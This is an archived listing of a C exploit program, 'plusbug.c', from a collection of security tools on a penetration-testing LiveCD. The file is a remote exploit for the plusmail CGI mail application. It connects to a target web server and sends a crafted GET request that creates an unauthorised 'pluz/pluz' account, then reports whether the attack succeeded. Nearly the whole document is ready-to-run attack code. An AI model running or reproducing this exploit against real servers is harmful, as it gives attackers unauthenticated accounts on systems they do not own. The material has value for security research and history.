home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / plusmail / plusmail1.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  73 lines

  1. /*
  2.  * [Synnergy Networks http://www.synnergy.net]
  3.  * 
  4.  * Title:    plusbug.c - [remote plusmail exploit]
  5.  * Author:    headflux (hf@synnergy.net)
  6.  * Date:    01.10.2000
  7.  * Description:    plusmail fails to check authenticity before creating new
  8.  *        accounts
  9.  *
  10.  * [Synnergy Networks (c) 2000, http://www.synnergy.net]
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <signal.h>
  16. #include <string.h>
  17. #include <sys/errno.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netdb.h>
  22.  
  23. int main(int argc, char *argv[])
  24. {
  25.     char *expcgi = "GET /cgi-bin/plusmail?login=pluz&password=pluz&"
  26.                    "password1=pluz&new_login=Login HTTP/1.0\n\n";
  27.  
  28.     struct hostent *hp;
  29.     struct in_addr addr;
  30.     struct sockaddr_in s;
  31.     u_char buf[280];
  32.     int p, i;
  33.  
  34.     if (argc < 1)
  35.     {
  36.         printf("usage: %s hostname\n", argv[0]);
  37.         exit(1);
  38.     } 
  39.  
  40.     hp = gethostbyname(argv[1]);
  41.     if(!hp)
  42.     {
  43.         printf("bad hostname.\n");
  44.         exit(1);
  45.     }
  46.  
  47.     bcopy (hp->h_addr, &addr, sizeof (struct in_addr));
  48.     p = socket (s.sin_family = 2, 1, IPPROTO_TCP);
  49.     s.sin_port = htons(80);
  50.     s.sin_addr.s_addr = inet_addr (inet_ntoa (addr));
  51.  
  52.     if(connect (p, &s, sizeof (s))!=0)
  53.     {
  54.         printf("error: unable to connect.\n");
  55.       return;
  56.     }
  57.     else
  58.     {
  59.         send(p, expcgi, strlen(expcgi), 0);
  60.         alarm(5);
  61.         read(p, buf, 255);
  62.         close(p);
  63.     }
  64.  
  65.     if (strstr(buf, "200 OK") && ! strstr(buf, "Invalid"))
  66.         printf("account pluz/pluz created.\n");
  67.     else
  68.         printf("exploit failed.\n");
  69.  
  70.     return(0);
  71. }
  72. /*                    www.hack.co.za           [21 July]*/
  73.